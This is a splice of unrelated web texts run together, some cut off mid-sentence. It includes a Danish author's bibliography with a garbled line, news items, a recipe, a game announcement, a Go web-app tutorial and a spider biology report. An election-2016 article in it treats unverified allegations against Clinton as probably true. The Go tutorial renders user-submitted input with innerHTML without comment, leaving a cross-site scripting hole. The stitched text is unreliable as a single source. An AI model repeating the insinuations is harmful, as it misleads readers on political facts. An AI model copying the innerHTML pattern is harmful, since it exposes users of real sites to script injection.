Madame d'Ora, 1904
Hjulet, 1904
Digte, 1906
Eksotiske noveller, 1907–15
Den nye verden, 1907
Singaporenoveller, 1907
Myter, 1907–45
Nye myter, 1908
Den lange rejse, 1908–22 – The Long Journey – I: Den tabte land, 1919; II: Bræen, 1908; Norne Gæst, 1919; IV: Cimbrernes tog, 1922; V: Skibet, 1912; VI: Christofer Columbus, 1922
Lille Ahasverus, 1909
Himmerlandshistorier, Tredje Samling, 1910
Myter, 1910
Bo'l, 1910
Nordisk ånd, 1911
Myter, 1912
Rudyard Kipling, 1912
Der Gletscher, Ein Neuer Mythos Vom Ersten Menschen, 1912 - The Glacier, A New Myth Of The First Man
Olivia Marianne, 1915
Introduktion til vor tidsalder, 1915
Skrifter, 1916 (8 vols.)
Årbog, 1916, 1917
Johannes Larsen og hans billeder, 1920
Sangerinden, 1921
Den lange rejse, 1922–24 – The Long Journey
Æstetik og udviking, 1923
Årstiderne, 1923
Hamlet, 1924
Myter, 1924
Skrifter, 1925 (5 vols.)
Evolution og moral, 1925
Årets højtider, 1925
Verdens lys, 1926
Jørgine, 1926
Thorvaldsens portrætbuster, 1926
Dyrenes forvandling, 1927
Åndens stadier, 1928
Ved livets bred, 1928
Retninger i tiden, 1930
Den jyske blæst, 1931
Form og sjæl, 1931
På danske veje, 1931
Pisangen, 1932
Kornmarken, 1932
Sælernes ø, 1934
Det blivende, 1934
Dr. Renaults fristelser, 1935
Gudrun, 1936
Darduse, 1937
Påskebadet, 1937
Jydske folkelivsmalere, 1937
Thorvaldsen, 1938
Nordvejen, 1939
Fra fristaterne, 1939
Gutenberg, 1939
Mariehønen, 1941
Vor oprindelse, 1941
Mindets tavle, 1941
Om sproget og undervisningen, 1942
Kvinden i sagatiden, 1942
Folkeslagene i østen, 1943
Digte 1901–43, 1943
Møllen, 1943
Afrika, 1949
Garden Colonies in Denmark, 1949
Swift og Oehlenschläger, 1950
Mytens ring, 1951
Tilblivelsen, 1951
The Waving Rye, 1959 (tr. R. Bathgate)
Works in English
The Long Journey, vol 1–3, ( Fire and Ice ; The Cimbrians ; Christopher Columbus ) New York, 1924.
, vol 1–3, ( ; ; ) New York, 1924. The Fall of the King, 1933.May 1, 2017, 10:00 AM GMT / Updated April 16, 2018, 5:21 PM GMT
NAME: Mei Lum
AGE: 26
HOMETOWN: Chinatown, NYC
TWITTER: @meihonglum, @wingonwoandco / INSTAGRAM: @meilum, @wingonwoandco
How do you introduce yourself?
I am a woman of color, an Asian American, a third-generation Chinese American. I am a granddaughter and daughter of my family’s long legacy in New York City’s Chinatown.
What inspires you? What challenges you?
Continuously fighting — in daily conversations and in the work that I do — to challenge this common narrative that Chinatown is a dying neighborhood. There are so many members of our community that are fighting: to stay in their homes, to amplify their voices and their stories, and to create and innovate in their own capacities during a time when Chinatown is going through rapid changes. There is a counter narrative of resistance and resilience coming from those who make up our neighborhood. We don’t spend enough time celebrating these stories. This is what challenges and inspires me in everything that I do.
SEE THE LIST: NBC Asian America Presents: A to Z - The 26 Emerging Voices of 2017
"Believe in the opportunities that exist in the unexpected and the unknown."
Tell us about the biggest risk you ever took.
I think this has been both the biggest and safest risk I’ve ever taken. I realize now how much of an influence years of Cantonese poetry lessons with my grandfather has had on me. I remember memorizing a Confucian saying about respecting and honoring your elders and… here I am.
What are you reading/watching/listening to these days?
I'm reading Grace Lee Boggs’ autobiography "Living for Change," and Joseph Goldstein’s "Mindfulness." I am currently listening to Half Waif’s "Turn Me Around" on repeat and blasting Mitski’s "Puberty" album on the shop's record player when no one's around.
If you weren’t doing what you’re doing now, what job would you want to have?
In this moment, it’s really tough for me to think about my life without this experience…but I have always wondered about how my life would be like if ended up pursuing music after high school and played tuba professionally.
What’s your motto?
Trust and lean into the ebs and flows of life and believe in the opportunities that exist in the unexpected and the unknown.
I celebrate Asian Pacific American Heritage Month because...
...I celebrate the journey and the struggle of my ancestors who came before me. They worked tirelessly to establish deep roots in America and make sure our family had opportunities to pursue our passions. My ancestors’ journey to America, to New York City’s Chinatown define my Asian-American heritage.
Follow NBC Asian America on Facebook, Twitter, Instagram and Tumblr.TRENTON — A change located deep inside New Jersey's proposed budget for the 2015 fiscal year appears to allow the state to divert money paid to communities damaged by corporate polluters to the state's general fund.
With the principal defendant in the state's lawsuit over Passaic River pollution yet to settle, environmentalists fear the budget language change could pump hundreds of millions of dollars in new revenue into the state's general fund at the expense of the environment in cities and towns waiting to be compensated for assets damaged by oil and chemical contamination.
"This is terrible policy," said Brad Campbell, a former state Department of Environmental Protection commissioner who is now an environmental lawyer.
He said it conflicts with "the clear language" of New Jersey's Spill Act, which enables the state to seek compensation directly from polluters and it means significant natural resources will never be restored.
"And it's bad fiscal policy, using another nonrecurring and completely unpredictable revenue stream to mask a structural deficit," Campbell said.
But former Treasurer David Rousseau, now a budget analysis for New Jersey Policy Perspective, said the budget is a balance between long-term goals and immediate needs.
At issue is the amount of money deemed necessary to restore a damaged environmental resource and compensate residents for the loss.
The budget Gov. Chris Christie proposed in February says the state wants the first $50 million in natural resource recovery settlements to be used for cleanups, remediation and legal fees while claiming any additional settlement money for the general fund, which can be used for any purpose. Budget experts interviewed by The Associated Press said the administration needs to clarify its intent because the language in the budget proposal is imprecise.
"If the money is used for some other purpose, the communities will have to continue to live with this legacy of pollution and not be able to enjoy their natural resources," said Debbie Mans of NY/NJ Baykeeper.
Such a diversion of funds also could make polluters less willing to settle claims for more than $50 million, she said.
The proposal is likely to come up Monday when DEP Commissioner Bob Martin is scheduled to appear before the Assembly Budget Committee.
DEP spokesman Larry Ragonese declined to comment Friday.
The nonpartisan Office of Legislative Services has flagged the proposal for clarification.
Lawmakers will want to know, for example, how much of the settlement will actually be used for the cleanup of the Passaic, which for decades was an industrial dumping ground for toxins generated from the Diamond Alkali Co. plant in Newark, which produced Agent Orange and other deadly pesticides during the 1960s. About 100 companies dumped pollutants into the river.
Federal officials recently proposed a $1.7 billion cleanup of the lower 8 miles of the river, from Belleville to Newark, in one of the largest Superfund remediations ever proposed.Could the sun be setting on Donald Trump’s 2016 campaign? Even as polls report an almost nonexistent chance that Donald Trump will end up in the White House, he is accusing opponent Hillary Clinton of participating in voter fraud. Calling the election “rigged,” The Don has pointed fingers at everyone from the Clinton campaign to the mainstream media. Trump has accused the media of “pushing” Clinton as a candidate, and of covering up many of the misdeeds Clinton has participated in.
For example, social media sources accused Clinton of using donations to the Clinton Foundation for her own personal spending. According to the allegations, Hillary and Bill used the guise of a fundraiser for Haiti to line their own pockets with “donations” to the Clinton Foundation. However, mainstream TV and news outlets seemingly buried this issue, with the only evidence a few rare social media posts.
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A civilian also pointed out on Twitter that Chelsea Clinton sits on the Board of Directors for IAC, a company which owns the Daily Beast, after that newspaper wrote an article stating 94 percent of all terror attacks are not carried out by Muslims. Could this article have been aimed at making Donald’s immigration reform plan look ineffective?
It seems true that Hillary’s wrongdoings have been largely left out of the media spotlight. Trump also complained on Twitter that Hillary received no punishment over her leaked email scandal and accused the State Department of trying to cover up the controversy. Trump’s claims may hold water here as well.
Donald Trump speaks at the Republican Hindu Coalition's Humanity United Against Terror charity event, October 15, 2016. [Photo By Kena Betancur/Getty Images]
According to the Washington Examiner, new documents from the FBI investigation of Clinton’s emails show the State Department offering to boost the FBI presence in Iraq in exchange for the Bureau of Investigation keeping silent on Clinton’s leaked emails. Trump disapproved of this on Twitter and was quick to attack Clinton’s campaign.
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Additionally, Trump supporters are angry that Hillary received no punishment for her actions. The Donald himself tweeted, “WikiLeaks proves even the Clinton campaign knew Crooked [Hillary] mishandled classified info, but nobody gets charged? RIGGED!” This refers to thousands of sensitive emails between Clinton campaign chair John Podesta and Clinton’s staff, which the classified information site leaked several weeks ago.
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Trump wasn’t sated by just attacking Clinton, however. The Donald also attacked leaders from his own party and implied they were in on the alleged voting fraud. Trump claims that Clinton received the questions to be asked at the presidential debates ahead of time.
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This could be supported by the fact that Hillary seemed vastly more prepared to answer questions at both the first and second debates. All the madness of the 2016 election has not gone unnoticed on the interwebs, of course, and Twitter alone is a gold mine for Trump and Hillary memes. Here are some of the best election memes and gags.
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#MovieTitleToDescribeElection is pretty self-explanatory. The hashtag has been popping up all over Twitter, resulting in utter wackiness from both sides. One citizen even summed the 2016 election up as “Dumb and Dumber.”
Trump cheers after speaking at a rally at Cross Insurance Center in Bangor, Maine, October 15, 2016. [Photo By Sarah Rice/Getty Images]
Many voters also expressed outrage that support for Trump just recently started waning. It wasn’t until allegations that Trump groped and sexually assaulted women came to light several weeks ago that his public and GOP support began to fall in huge numbers.
A CNN“Poll Of Polls” that includes the NBC News/Wall Street Journal Poll; The Washington Post/ABC News Poll; Fox News Polls; and the G.W. Battleground Poll has Clinton ahead of Trump, with 47 percent of voters preferring the Democratic nominee to Trump’s 39 percent. Additionally, Libertarian Gary Johnson commands 7 percent of the vote, while Green Party nominee Dr. Jill Stein has 2 percent.
Whether there is a controversy or not, it’s pretty clear The Donald is fast descending through the polls. Many members of Trump’s party oppose him for President, with a handful of GOP senators calling for Donald to step down. However, some want the Republican Party to lie in the orangey bed they made. Certain Democratic Party supporters see dethroning The Don as a way to undo the consequences of choosing him as the GOP’s nominee.
However, not all is lost if the GOP does want a do-over. According to the Daily Beast’s interview with Stanford Law Professor Nathaniel Persilly, the Republican Party can legally: Replace Trump if he withdraws voluntarily; create a fillable vacancy by ousting Trump without The Don’s approval; or replace Trump as the nominee without losing votes from states already committed to vote red.
Some states’ party systems operate in such a way that the state’s Electoral College members must vote for the candidate whose party gets the majority of votes. This means that if Trump is replaced with another Republican candidate, those states already legally bound to the |
figured out we better delight the consumer." Unfortunately, many Xbox fans are currently not delighted by Microsoft's current policies. Clearly, third parties have to tread carefully in the coming generation.Heading to the Grand Canyon this summer? You may be in for a long wait in your car at the entrance gate.
As Americans start planning their summer holidays, vacationers should prepare for long lines, shorter visitors' center hours, locked restrooms and overflowing trash cans, all thanks to federal budget cuts.
Say goodbye to ranger-guided walks through awe inspiring sequoias of the Mariposa Grove at California's Yosemite National Park. They've been canceled this year, at least until September.
North Carolina's Blue Ridge Parkway is closing some 400 campsites.
Hawaii's USS Arizona Memorial, honoring Marines killed at Pearl Harbor, is now starting its last public tour two hours earlier, at 1 p.m.
At the Everglades National Park in Florida, there will be fewer nature programs at the Shark Valley Visitor Center and campgrounds will only be cleaned once a day, instead of twice.
"Visitors will have to plan ahead more than they might normally have to," said John Garder of the National Parks Conservation Association, an advocacy group for the parks. "Call ahead and make sure your campground (and its facilities) is going to be open."
Forced spending cuts are shaving $85 billion from the federal budget. It includes $183 million from the National Parks Service, which runs 401 national parks, memorials, lakeshores, parkways and historic sites. In 2012, 283 million people visited these parks.
The National Parks has furloughed 760 officers of the U.S. Parks Police, that patrol monuments on the National Mall in Washington and federal parks in New York and San Francisco. They're taking 14 days of unpaid time off -- a day out of every two weeks -- from late April through September. The parks have managed to avoid furloughs for other employees.
Like most federal agencies, the National Park Service has already weathered a longtime hiring freeze. This year, there are 900 fewer full time staffers, including biologists and clean water specialists, Garder said.
With a mandate to trim 5% of its budget by September, it is hiring 1,000 fewer seasonal employees, like additional park rangers that help out during the busy summer travel season.
Related: Public defender hard at work on furlough week
Other changes are being considered -- summer evening hours may be trimmed at the National Mall in Washington, since there will be fewer park officers to keep it safe at night, Garder said.
During the National Cherry Blossom Festival in April, Parks Director Jonathan Jarvis said he noticed "trash cans overfilled and fewer rangers than was normal," at a House hearing on budget cuts last month.
At Arizona's Grand Canyon National Park, spring break visitors faced longer lines at entrance gates, because the park couldn't deploy extra manpower during a busy period like it usually does. The waits will likely get much worse in the summer, said spokeswoman Maureen Oltrogge.
The Grand Canyon gets 4.5 million visitors a year. The park had to cut 6 seasonal workers and operate with fewer staff members because positions went unfilled, Oltrogge said. Visitor center hours will be cut by two hours each day, and bathrooms may not be cleaned for longer periods of time. Hikers and campers seeking permits should also expect longer wait times, she said.
Related: Lawmaker: Seniors should pay more for national parks
"We hope that visitors are not impacted by those cuts, but you can't cut well over a million dollars from a park this size without feeling and noticing that," Oltrogge said.
One national park was able to forgo some of its spending cuts with community help.
To meet its 5% budget cut, Yellowstone National Park delayed snow plowing at several roads leading into the park by a few weeks. The chambers of commerce in Cody and Jackson, Wyo., raised $170,000 to pay to plow the parts of the roads leading from their towns.
Park advocates praised the move but warn that private fundraising is not a long-term or viable solution at other places. After all, Jackson Hole has the reputation as a playground for the rich and famous, with homes owned by movie stars and billionaires, such as heirs to the Wal-Mart (WMT) fortune.
"While that's a generous thing for these partners to do, it's not sustainable," said retired park service superintendent Joan Anzelmo, spokeswoman for the Coalition of National Park Service Retirees. "What's going to happen next year? If these cuts continue over the long term, we're in real trouble."The Jacksonville Jaguars have been one of the heavy favorites for months now to sign Seattle Seahawks free agent Bruce Irvin. But after following a bunch of Jaguars fans on Twitter and with the mountains of cap space available, even the most ardent Seattle media are starting to come around to Irvin leaving.
IMO, it will be Jags. https://t.co/Hd5SF3dKtZ — Gee Scott 710ESPN (@TheGeeScott) March 7, 2016
That's Gee Scott of 710ESPN in Seattle. This isn't a national media member who isn't around the team day in and day out. It certainly lends some credibility (and instill hope) to the rumor that Irvin is coming to Jacksonville.
Irvin should absolutely be someone the Jaguars are aggressive with in free agency this week and already someone rumored they will be. Irvin could slot right into the OTTO/SLB role on the Jaguars defense as an overall and pass rushing upgrade. Irvin can play the run, is good enough in coverage and can provide an option rushing the passer as a blitzer or with his hand on the ground in certain packages. It's expected he'll end up with either the Atlanta Falcons or the Jaguars, both of which are coached by his former defensive coordinators.Stuffed Peppers with Thanksgiving Leftover Turkey Recipe
Since American Thanksgiving is next week I thought I would post a recipe that I made last month with my turkey leftovers. Up in Canada we celebrate thanksgiving in October, I guess the holiday migrates south?
I don’t usually end up with leftovers since I am not the host, but this year I was lucky enough to go home with a bunch of turkey. I like leftover poultry in sandwiches like chicken or turkey salads or a hot turkey sandwich or a clubhouse. However this year I thought I would try something I have never made before, stuffed peppers.
In case you missed it, check out some tips on making Thanksgiving Dinner.
Print Recipe
(serves 1-2)
two large green peppers
1 tablespoon oil
1/2 onion diced
1/4 red pepper, diced
salt and pepper
1 cup shredded cooked turkey or chicken
2 cups marinara sauce
2 cups baby spinach
1 cup cooked rice ( I used leftover brown rice)
1/2 cup shredded cheddar cheese, divided
Gently cut the tops off the peppers and scoop out the core and ribs. Trim the inside of the top and wash out the peppers. Steam for 7 minutes or until just getting tender. Oil a baking dishand preheat oven to 350F. In a skillet heat oil to medium low and add onion and red pepper, sweat for 5 minutes or until soft. Add turkey, marinara and salt and pepper to taste. Bring to a gently simmer to heat through, add spinach and stir until just wilted. Remove from heat and fold in half of the cheese and the rice. Add the mixture to the pepper bottoms and place in the baking dish. Top with remaining cheese and the pepper tops. Bake for 30 minutes and serve.
Prep Time: 15 minutes | Cooking Time: 30 minutes | Total Time: 45 minutesWhen the shadows grow long and the nights grow cold...
And witches’ cauldrons bubble with potions untold...
When spirits and ghouls and abominations appear...
It can mean only one thing: Halloween is here!
The fright for the future has begun, heroes, and for the next three weeks, we’re celebrating the spookiest time of the year in true Overwatch fashion—with a brand new seasonal event! Explore the haunted streets of Hollywood, expand your collection of themed holiday items, and relive a chilling tale in our first-ever PvE brawl: Junkenstein's Revenge!
Welcome to the Overwatch Halloween Terror.
Starting today, all in-game Loot Boxes have been replaced with special glowing jack-o'-lanterns, and they're filled to the brim with over 100 new cosmetic treats! As with our previous events, any Loot Box you earn or purchase from now until the event concludes will contain at least one item from our Halloween 2016 collection—including profile icons, sprays, victory poses, emotes, highlight intros, skins, and more!
While the contents of each Halloween Loot Box are random, you can unlock a variety of these creepy customization options with credits in the Hero Gallery throughout the event's duration.
Once you've unlocked a Halloween item, it will be yours forever, which means that you can look terror-ific all year round. The collection will be crawling back into the vault on November 1, however, when the event concludes, so be sure to fire up your favorite gaming machine and dig in before it's too late!
During this year's Halloween Terror event, you'll also be able to participate in Overwatch's first-ever co-op PvE Brawl: Junkenstein's Revenge. Team up with three other players and face off against a host of eerie enemies, including Dr. Junkenstein himself, Junkenstein's Monster, the Reaper, a mysterious witch, and host of shambling zomnics.
As told in our "Junkenstein" digital comic, this terrifying tale follows Dr. Jamison Junkenstein, an inventor and scientist who was once employed by the Lord of Adlersbrunn. Junkenstein's dream was to create artificial life, but the Lord of Adlersbrunn mocked the scientist and his creations, calling him a fool and dismissing him from service. Slighted, Junkenstein vowed to prove the lord wrong, and when an unexpected visitor showed up and offered the key to perfecting his creation, Junkenstein’s Monster was born.
Now Junkenstein plans his revenge against the Lord of Adlersbrunn, and only four heroes stand in the way.
Players will choose from the Alchemist (Ana), the Archer (Hanzo), the Gunslinger (McCree), or the Soldier (Soldier: 76) and defend Adlersbrunn castle’s doors against Dr. Junkenstein's onslaught! Heroes will need to work together and develop strategies to withstand not only the advances of his macabre entourage, but also wave after wave of zomnic attacks.
We're also getting a little spoopy on our social media pages, so don't forget to check out our Facebook, Twitter, and Instagram profiles for a steady stream of Halloween goodies—and be sure to keep an eye on www.playoverwatch.com for updates on future seasonal events!
In the meantime, Overwatch Halloween Terror is live RIGHT NOW on PC, PlayStation 4, and Xbox One, so grab your largest candy bag, put on some spine-chilling music, and get ready to test your mettle against Junkenstein's metal minions.
The Monster awaits!Go is getting more and more popular as the go-to language to build web applications.
This is in no small part due to its speed and application performance, as well as its portability. There are many resources on the internet to teach you how to build end to end web applications in Go, but for the most part they are either scattered in the form of isolated blog posts, or get into too much detail in the form of books.
With this tutorial, I hope to find the middle ground and provide a single resource which describes how to make a full stack web application in Go, along with sufficient test cases.
The only prerequisite for this tutorial is a beginner level understanding of the Go programming language.
We are going to build a community encyclopedia of birds. This website will :
Display the different entries submitted by the community, with the name and details of the bird they found.
Allow anyone to post a new entry about a bird that they saw.
This application will require three components :
The web server The front-end (client side) app The database
Setting up your environment
This section describes how to set up your environment and project structure for the first time. If you have built another project in go, or know the standard directory structure, you can skip this section and go to the next one
1. Set up your $GOPATH
Run this command to check the current value of your $GOPATH environment variable :
echo $GOPATH
If you do not see a directory name, add the GOPATH variable to your environment (you can select any directory location you want, but it would be better if you create a new directory for this) :
export GOPATH="/location/of/your/gopath/directory"
You can paste the above line in you.bashrc or.zshrc file, in case you wish to make the variable permanent.
2. Set up your directory structure
Hereafter, the “Go directory” will refer to the location described by your $GOPATH environment variable. Inside the Go directory, you will have to create 3 folders (if they are not there already) :
# Inside the Go directory mkdir src mkdir pkg mkdir bin
The purpose of each directory can be seen from its name:
bin - is where all the executable binaries created by compiling your code go
- is where all the executable binaries created by compiling your code go pkg - Contains package objects made by libraries (which you don’t have to worry about now)
- Contains package objects made by libraries (which you don’t have to worry about now) src - is where all your Go source code goes. Yes, all of it. Even that weird side project that you are thinking of making.
3. Creating your project directory
The project folders inside the src directory should follow that same location structure as the place where your remote repository lies. So, for example, if I want to make a new project called “birdpedia”, and I make a repository for that under my name on github, such that the location of my project repository would be on “github.com/sohamkamani/birdpedia”, then the location of this project on my computer would be : $GOPATH/src/github.com/sohamkamani/birdpedia
Go ahead and make a similar directory for your project. If you haven’t made an online repo yet, just name the directories according to the location that you plan to put your code in.
This location on your computer will henceforth be referred to as your “project directory”
Starting an HTTP server
Inside your project directory, create a file called main.go inside your project directory :
touch main.go
This file will contain the code to start your server :
package main import ( "fmt" "net/http" ) func main ( ) { http. HandleFunc ( "/", handler ) http. ListenAndServe ( ":8080", nil ) } func handler ( w http. ResponseWriter, r * http. Request ) { fmt. Fprintf ( w, "Hello World!" ) }
fmt.Fprintf, unlike the other “printf” statements you may know, takes a “writer” as its first argument. The second argument is the data that is piped into this writer. The output therefore appears according to where the writer moves it. In our case the ResponseWriter w writes the output as the response to the users request.
You can now run this file :
go run main.go
And navigate to http://localhost:8080 in your browser, or by running the command :
curl localhost:8080
And see the output: “Hello World!”
You have now successfully started an HTTP server in Go.
Making routes
Our server is now running, but, you might notice that we get the same “Hello World!” response regardless of the route we hit, or the HTTP method that we use. To see this yourself, run the following curl commands, and observe the response that the server gives you :
curl localhost:8080/some-other-route curl -X POST localhost:8080 curl -X PUT localhost:8080/samething
All three commands still give you “Hello World!”
We would like to give our server a little more intelligence than this, so that we can handle a variety of paths and methods. This is where routing comes into play.
Although you can achieve this with Go’s net/http standard library, there are other libraries out there that provide a more idiomatic and declarative way to handle http routing.
Installing external libraries
We will be installing a few external libraries through this tutorial, where the standard libraries don’t provide the features that we want.
When we install libraries, we need a way to ensure that other people who work on our code also have the same version of the library that we do.
In order to do this, we use a “package manager” tool. This tool serves a few purposes:
It makes sure the versions of any external libraries we install are locked down, so that breaking changes in any of the libraries do not affect our code.
It fetches the required external libraries and stores them locally, so that different projects can use different versions of the same library, if they need to.
It stores the names and versions of all our external libraries, so that others can install the same versions that we are working with on our system.
The official package manager for Go (or rather “official experiment” that is “safe for production use” as described on its homepage) is called dep. You can install dep by following the setup guide. You can verify its installation by running :
dep version
which should output some information on the version if successful.
To initialize package management for our project, run the command :
dep init
THis will create the Gopkg.toml and Gopkg.lock files, which are the files that are used to record and lock dependencies in our project.
Next, we install our routing library:
dep ensure -add github.com/gorilla/mux
This will add the gorilla/mux library to your project.
Now, we can modify our code to make use of the functionality that this library provides :
package main import ( "fmt" "net/http" "github.com/gorilla/mux" ) func main ( ) { r := mux. NewRouter ( ) r. HandleFunc ( "/hello", handler ). Methods ( "GET" ) http. ListenAndServe ( ":8080", r ) } func handler ( w http. ResponseWriter, r * http. Request ) { fmt. Fprintf ( w, "Hello World!" ) }
Testing
Testing is an essential part of making any application “production quality”. It ensures that our application works the way that we expect it to.
Lets start by testing our handler. Create a file called main_test.go :
package main import ( "net/http" "net/http/httptest" "testing" ) func TestHandler ( t * testing. T ) { req, err := http. NewRequest ( "GET", "", nil ) if err!= nil { t. Fatal ( err ) } recorder := httptest. NewRecorder ( ) hf := http. HandlerFunc ( handler ) hf. ServeHTTP ( recorder, req ) if status := recorder. Code ; status!= http. StatusOK { t. Errorf ( "handler returned wrong status code: got %v want %v", status, http. StatusOK ) } expected := `Hello World!` actual := recorder. Body. String ( ) if actual!= expected { t. Errorf ( "handler returned unexpected body: got %v want %v", actual, expected ) } }
Go uses a convention to ascertains a test file when it has the pattern *_test.go
To run this test, just run :
go test./...
from your project root directory. You should see a mild message telling you that everything ran ok.
Making our routing testable
If you notice in our previous snippet, we left the “route” blank while creating our mock request using http.newRequest. How does this test still pass if the handler is defined only for “GET /handler” route?
Well, turns out that this test was only testing our handler and not the routing to our handler. In simpler terms, this means that the above test ensures that the request coming in will get served correctly provided that it’s delivered to the correct handler.
In this section, we will test this routing, so that we can be sure that each handler is mapped to the correct HTTP route.
Before we go on to test our routing, it’s necessary to make sure that our code can be tested for this. Modify the main.go file to look like this:
package main import ( "fmt" "net/http" "github.com/gorilla/mux" ) func newRouter ( ) * mux. Router { r := mux. NewRouter ( ) r. HandleFunc ( "/hello", handler ). Methods ( "GET" ) return r } func main ( ) { r := newRouter ( ) http. ListenAndServe ( ":8080", r ) } func handler ( w http. ResponseWriter, r * http. Request ) { fmt. Fprintf ( w, "Hello World!" ) }
Once we’ve separated our route constructor function, let’s test our routing:
func TestRouter ( t * testing. T ) { r := newRouter ( ) mockServer := httptest. NewServer ( r ) resp, err := http. Get ( mockServer. URL + "/hello" ) if err!= nil { t. Fatal ( err ) } if resp. StatusCode!= http. StatusOK { t. Errorf ( "Status should be ok, got %d", resp. StatusCode ) } defer resp. Body. Close ( ) b, err := ioutil. ReadAll ( resp. Body ) if err!= nil { t. Fatal ( err ) } respString := string ( b ) expected := "Hello World!" if respString!= expected { t. Errorf ( "Response should be %s, got %s", expected, respString ) } }
Now we know that every time we hit the GET /hello route, we get a response of hello world. If we hit any other route, it should respond with a 404. In fact, let’s write a test for precisely this requirement :
func TestRouterForNonExistentRoute ( t * testing. T ) { r := newRouter ( ) mockServer := httptest. NewServer ( r ) resp, err := http. Post ( mockServer. URL + "/hello", "", nil ) if err!= nil { t. Fatal ( err ) } if resp. StatusCode!= http. StatusMethodNotAllowed { t. Errorf ( "Status should be 405, got %d", resp. StatusCode ) } defer resp. Body. Close ( ) b, err := ioutil. ReadAll ( resp. Body ) if err!= nil { t. Fatal ( err ) } respString := string ( b ) expected := "" if respString!= expected { t. Errorf ( "Response should be %s, got %s", expected, respString ) } }
Now that we’ve learned how to create a simple http server, we can serve static files from it for our users to interact with.
Serving static files
“Static files” are the HTML, CSS, JavaScript, images, and the other static asset files that are needed to form a website.
There are 3 steps we need to take in order to make our server serve these static assets.
Create static assets Modify our router to serve static assets Add tests to verify that our new server can serve static files
Create static assets
To create static assets, create a directory in your project root directory, and name it assets :
mkdir assets
Next, create an HTML file inside this directory. This is the file we are going to serve, along with any other file that goes inside the assets directory :
touch assets/index.html
Modify the router
Interestingly enough, the entire file server can be enabled in just adding 3 lines of code in the router. The new router constructor will look like this :
func newRouter ( ) * mux. Router { r := mux. NewRouter ( ) r. HandleFunc ( "/hello", handler ). Methods ( "GET" ) staticFileDirectory := http. Dir ( "./assets/" ) staticFileHandler := http. StripPrefix ( "/assets/", http. FileServer ( staticFileDirectory ) ) r. PathPrefix ( "/assets/" ). Handler ( staticFileHandler ). Methods ( "GET" ) return r }
Testing the static file server
You cannot truly say that you have completed a feature until you have tests for it. We can test the static file server by adding another test function to main_test.go :
func TestStaticFileServer ( t * testing. T ) { r := newRouter ( ) mockServer := httptest. NewServer ( r ) resp, err := http. Get ( mockServer. URL + "/assets/" ) if err!= nil { t. Fatal ( err ) } if resp. StatusCode!= http. StatusOK { t. Errorf ( "Status should be 200, got %d", resp. StatusCode ) } contentType := resp. Header. Get ( "Content-Type" ) expectedContentType := "text/html; charset=utf-8" if expectedContentType!= contentType { t. Errorf ( "Wrong content type, expected %s, got %s", expectedContentType, contentType ) } }
To actually test your work, run the server :
go run main.go
And navigate to http://localhost:8080/assets/ in your browser.
Making a simple browser app
Since we need to create our bird encyclopedia, lets create a simple HTML document that displays the list of birds, and fetches the list from an API on page load, and also provides a form to update the list of birds :
<!DOCTYPE html> < html lang = " en " > < head > < title > The bird encyclopedia </ title > </ head > < body > < h1 > The bird encyclopedia </ h1 > < table > < tr > < th > Species </ th > < th > Description </ th > </ tr > < td > Pigeon </ td > < td > Common in cities </ td > </ tr > </ table > < br /> < form action = " /bird " method = " post " > Species: < input type = " text " name = " species " > < br /> Description: < input type = " text " name = " description " > < br /> < input type = " submit " value = " Submit " > </ form > < script > birdTable = document. querySelector ( "table" ) fetch ( "/bird" ). then ( response => response. json ( ) ). then ( birdList => { birdList. forEach ( bird => { row = document. createElement ( "tr" ) species = document. createElement ( "td" ) species. innerHTML = bird. species description = document. createElement ( "td" ) description. innerHTML = bird. description row. appendChild ( species ) row. appendChild ( description ) birdTable. appendChild ( row ) } ) } ) </ script > </ body >
Adding the bird REST API handlers
As we can see, we will need to implement two APIs in order for this application to work:
GET /bird - that will fetch the list of all birds currently in the system POST /bird - that will add an entry to our existing list of birds
For this, we will write the corresponding handlers.
Create a new file called bird_handlers.go, adjacent to the main.go file.
First, we will add the definition of the Bird struct and initialize a common bird variable:
type Bird struct { Species string `json:"species"` Description string `json:"description"` } var birds [ ] Bird
Next, define the handler to get all birds :
func getBirdHandler ( w http. ResponseWriter, r * http. Request ) { birdListBytes, err := json. Marshal ( birds ) if err!= nil { fmt. Println ( fmt. Errorf ( "Error: %v", err ) ) w. WriteHeader ( http. StatusInternalServerError ) return } w. Write ( birdListBytes ) }
Next, the handler to create a new entry of birds :
func createBirdHandler ( w http. ResponseWriter, r * http. Request ) { bird := Bird { } err := r. ParseForm ( ) if err!= nil { fmt. Println ( fmt. Errorf ( "Error: %v", err ) ) w. WriteHeader ( http. StatusInternalServerError ) return } bird. Species = r. Form. Get ( "species" ) bird. Description = r. Form. Get ( "description" ) birds = append ( birds, bird ) http. Redirect ( w, r, "/assets/", http. StatusFound ) }
The last step, is to add these handler to our router, in order to enable them to be used by our application :
r. HandleFunc ( "/bird", getBirdHandler ). Methods ( "GET" ) r. HandleFunc ( "/bird", createBirdHandler ). Methods ( "POST" ) return r
The tests for both these handlers and the routing involved are similar to the previous tests we wrote for the GET /hello handler and static file server, and are left as an exercise for the reader.
If you’re lazy, you can still see the tests in the source code
Adding a database
So far, we have added persistence to our application, with the information about different birds getting stored and retrieved.
However, this persistence is short lived, since it is in memory. This means that anytime you restart your application, all the data gets erased. In order to add true persistence, we will need to add a database to our stack.
Until now, our code was easy to reason about and test, since it was a standalone application. Adding a database will add another layer of communication.
You can read about how to integrate a postgres database into your Go application in my next post
_You can find the source code for this post [here](https://github.com/sohamkamani/blog_examplegowebapp)___Talk about long-suffering moms—some female spiders allow their young to eat them alive, a new study says.
The species Stegodyphus dumicola, native to South Africa, lives in large family groups that share both communal nests and childcare duties.
Only about 40 percent of the females get the chance to reproduce because they mature more slowly than the males, and those that don't—the so-called virgin females—go to extreme lengths to care for their sisters' babies.
Once the eggs hatch, both mother and virgin females begin producing a nourishing fluid, which they feed to the offspring by mouth. (See National Geographic's pictures of animal mothers and babies.)
“This is a very intense process. In the end, the female will basically start to liquefy, and will use up almost all of her resources," says study co-author Anja Junghanns, an evolutionary biologist at Germany's University of Greifswald.
"When she is almost depleted, the offspring will crawl onto her and start eating her.”
Matriphagy, or mother-eating, is exceedingly rare in nature, but Jo-Anne Sewlal, a fellow of the Zoological Society of London, says that the behavior has been documented in some species of insects, nematode worms, and other arachnids. (Read more about cannibalism in other animals.)
"While it may seem unthinkable for a child to cannibalize its mother," Sewlal says, "it's important to understand matriphagy has evolved over many generations to be the most effective means of ensuring the survival of the species."
It's All in the Family
For their study, Junghanns and colleagues set up an experiment in which they placed two mated female spiders and three virgin females with several young spiders. The results, published in the October issue of the journal Animal Behavior, showed that all females cared for—and sacrificed themselves to—the offspring equally.
